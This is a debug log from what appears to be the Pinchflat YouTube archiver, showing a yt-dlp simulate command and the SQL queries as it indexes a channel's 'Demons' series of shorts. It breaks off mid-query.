/usr/local/bin/yt-dlp called with: https://www.youtube.com/@MichaelSukutJesus --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/shows/Michael Sukut/Season %(upload_date>%Y)S/s%(upload_date>%Y)Se%(upload_date>%m%d)S00 - %(title)S.%(ext)S --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/d0/1b/d01b63c5c93ac97012e25dc7fe7ce1923673d90db2a0fa8bb4c88086f5096aac.txt --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/15/28/1528b7bd11d9c55db141f946a7a04502afe55c99d02e5fc7ca795861792d7081.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 17:51:00.086 [info] {"source":"oban","duration":177,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:51:00.391 [debug] Current batch of media processed. Will check again in 1000ms 17:51:01.392 [debug] Current batch of media processed. Will check again in 1000ms 17:51:02.393 [debug] Current batch of media processed. Will check again in 1000ms 17:51:03.394 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 0.56, "description" => "", "duration" => 180, "filename" => "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.10.mp4", "id" => "BSkDL35jiAY", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/BSkDL35jiAY", "playlist_index" => 1, "timestamp" => 1749158462, "title" => "Demons. Pt.10", "upload_date" => "20250605"} 17:51:03.395 [debug] QUERY OK source="sources" db=0.3ms idle=111.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 17:51:03.395 [debug] QUERY OK source="sources" db=0.2ms idle=112.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:51:03.396 [debug] QUERY OK source="media_items" db=0.2ms idle=112.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 21:21:02Z], 1] 17:51:03.397 [debug] QUERY OK source="media_items" db=0.7ms idle=113.0ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt.10", "0fb81bd1-c74c-4a16-a313-fcf9eac9d6b5", "BSkDL35jiAY", 180, false, "https://www.youtube.com/shorts/BSkDL35jiAY", 1, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.10.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 21:21:02Z], ~U[2026-08-20 00:51:03Z], ~U[2026-08-20 00:51:03Z], "", "Demons. Pt.10", "BSkDL35jiAY", 180, false, "https://www.youtube.com/shorts/BSkDL35jiAY", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.10.mp4", true, 1, ~U[2025-06-05 21:21:02Z]] 17:51:03.397 [debug] QUERY OK source="sources" db=0.2ms idle=17.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:51:03.398 [debug] QUERY OK source="media_profiles" db=0.2ms idle=2.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:51:03.398 [debug] QUERY OK source="media_items" db=0.3ms idle=2.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1] 17:51:03.398 [debug] Current batch of media processed. Will check again in 1000ms 17:51:04.399 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 0.56, "description" => "", "duration" => 173, "filename" => "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.9 Melchizedek Pt.3 Carrie Lynn Jones aka Say-Tan in the FLESH. Ex-wife of Elohim. 😬.mp4", "id" => "uObiA41rItQ", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/uObiA41rItQ", "playlist_index" => 2, "timestamp" => 1749157148, "title" => "Demons. Pt.9 Melchizedek Pt.3 Carrie Lynn Jones aka Say-Tan in the FLESH. Ex-wife of Elohim. 😬", "upload_date" => "20250605"} 17:51:04.400 [debug] QUERY OK source="sources" db=0.2ms queue=0.1ms idle=1002.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 17:51:04.400 [debug] QUERY OK source="sources" db=0.1ms idle=1002.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:51:04.401 [debug] QUERY OK source="media_items" db=0.1ms idle=1002.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 20:59:08Z], 1] 17:51:04.402 [debug] QUERY OK source="media_items" db=0.7ms idle=1002.5ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt.9 Melchizedek Pt.3 Carrie Lynn Jones aka Say-Tan in the FLESH. Ex-wife of Elohim. 😬", "8d46d4f5-6d87-499e-a045-ebc98053ba4f", "uObiA41rItQ", 173, false, "https://www.youtube.com/shorts/uObiA41rItQ", 2, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.9 Melchizedek Pt.3 Carrie Lynn Jones aka Say-Tan in the FLESH. Ex-wife of Elohim. 😬.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 20:59:08Z], ~U[2026-08-20 00:51:04Z], ~U[2026-08-20 00:51:04Z], "", "Demons. Pt.9 Melchizedek Pt.3 Carrie Lynn Jones aka Say-Tan in the FLESH. Ex-wife of Elohim. 😬", "uObiA41rItQ", 173, false, "https://www.youtube.com/shorts/uObiA41rItQ", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.9 Melchizedek Pt.3 Carrie Lynn Jones aka Say-Tan in the FLESH. Ex-wife of Elohim. 😬.mp4", true, 1, ~U[2025-06-05 20:59:08Z]] 17:51:04.402 [debug] QUERY OK source="sources" db=0.2ms idle=21.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:51:04.402 [debug] QUERY OK source="media_profiles" db=0.2ms idle=2.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:51:04.403 [debug] QUERY OK source="media_items" db=0.2ms idle=2.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [2] 17:51:04.403 [debug] Current batch of media processed. Will check again in 1000ms 17:51:05.404 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 0.56, "description" => "", "duration" => 180, "filename" => "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt. 8. Melchizedek pt.2.mp4", "id" => "vmwlPoPSyiY", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/vmwlPoPSyiY", "playlist_index" => 3, "timestamp" => 1749155297, "title" => "Demons. Pt. 8. Melchizedek pt.2", "upload_date" => "20250605"} 17:51:05.405 [debug] QUERY OK source="sources" db=0.3ms idle=1002.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 17:51:05.405 [debug] QUERY OK source="sources" db=0.2ms idle=1002.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:51:05.406 [debug] QUERY OK source="media_items" db=0.2ms idle=1002.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 20:28:17Z], 1] 17:51:05.407 [debug] QUERY OK source="media_items" db=0.6ms idle=1002.8ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt. 8. Melchizedek pt.2", "244b4cdd-5358-47aa-8cb9-b954477d8e6e", "vmwlPoPSyiY", 180, false, "https://www.youtube.com/shorts/vmwlPoPSyiY", 3, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt. 8. Melchizedek pt.2.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 20:28:17Z], ~U[2026-08-20 00:51:05Z], ~U[2026-08-20 00:51:05Z], "", "Demons. Pt. 8. Melchizedek pt.2", "vmwlPoPSyiY", 180, false, "https://www.youtube.com/shorts/vmwlPoPSyiY", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt. 8. Melchizedek pt.2.mp4", true, 1, ~U[2025-06-05 20:28:17Z]] 17:51:05.407 [debug] QUERY OK source="sources" db=0.2ms idle=24.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:51:05.407 [debug] QUERY OK source="media_profiles" db=0.2ms idle=2.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:51:05.408 [debug] QUERY OK source="media_items" db=0.2ms idle=2.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [3] 17:51:05.408 [debug] Current batch of media processed. Will check again in 1000ms 17:51:06.409 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 0.56, "description" => "", "duration" => 180, "filename" => "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.7 Melchizedek. Pt.1.mp4", "id" => "gjpV5R_MvW4", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/gjpV5R_MvW4", "playlist_index" => 4, "timestamp" => 1749154082, "title" => "Demons. Pt.7 Melchizedek. Pt.1", "upload_date" => "20250605"} 17:51:06.410 [debug] QUERY OK source="sources" db=0.3ms idle=1002.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 17:51:06.410 [debug] QUERY OK source="sources" db=0.2ms idle=1003.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:51:06.411 [debug] QUERY OK source="media_items" db=0.1ms idle=1003.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 20:08:02Z], 1] 17:51:06.412 [debug] QUERY OK source="media_items" db=0.7ms idle=1003.0ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt.7 Melchizedek. Pt.1", "a3443af0-c506-4cf3-b371-e114285b6d78", "gjpV5R_MvW4", 180, false, "https://www.youtube.com/shorts/gjpV5R_MvW4", 4, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.7 Melchizedek. Pt.1.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 20:08:02Z], ~U[2026-08-20 00:51:06Z], ~U[2026-08-20 00:51:06Z], "", "Demons. Pt.7 Melchizedek. Pt.1", "gjpV5R_MvW4", 180, false, "https://www.youtube.com/shorts/gjpV5R_MvW4", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.7 Melchizedek. Pt.1.mp4", true, 1, ~U[2025-06-05 20:08:02Z]] 17:51:06.412 [debug] QUERY OK source="sources" db=0.2ms idle=28.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:51:06.413 [debug] QUERY OK source="media_profiles" db=0.2ms idle=2.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:51:06.413 [debug] QUERY OK source="media_items" db=0.3ms idle=2.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [4] 17:51:06.413 [debug] Current batch of media processed. Will check again in 1000ms 17:51:07.414 [debug] Current batch of media processed. Will check again in 1000ms 17:51:08.415 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 0.56, "description" => "", "duration" => 180, "filename" => "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.6 Deliverance from demons😋🫵🏿.mp4", "id" => "HUfMTGjP05Q", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/HUfMTGjP05Q", "playlist_index" => 5, "timestamp" => 1749151292, "title" => "Demons. Pt.6 Deliverance from demons😋🫵🏿", "upload_date" => "20250605"} 17:51:08.416 [debug] QUERY OK source="sources" db=0.3ms idle=132.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 17:51:08.416 [debug] QUERY OK source="sources" db=0.1ms idle=132.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:51:08.416 [debug] QUERY OK source="media_items" db=0.1ms idle=133.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 19:21:32Z], 1] 17:51:08.417 [debug] QUERY OK source="media_items" db=0.4ms idle=133.7ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt.6 Deliverance from demons😋🫵🏿", "34a4f067-18ee-4e1d-a85c-17f07747b751", "HUfMTGjP05Q", 180, false, "https://www.youtube.com/shorts/HUfMTGjP05Q", 5, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.6 Deliverance from demons😋🫵🏿.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 19:21:32Z], ~U[2026-08-20 00:51:08Z], ~U[2026-08-20 00:51:08Z], "", "Demons. Pt.6 Deliverance from demons😋🫵🏿", "HUfMTGjP05Q", 180, false, "https://www.youtube.com/shorts/HUfMTGjP05Q", 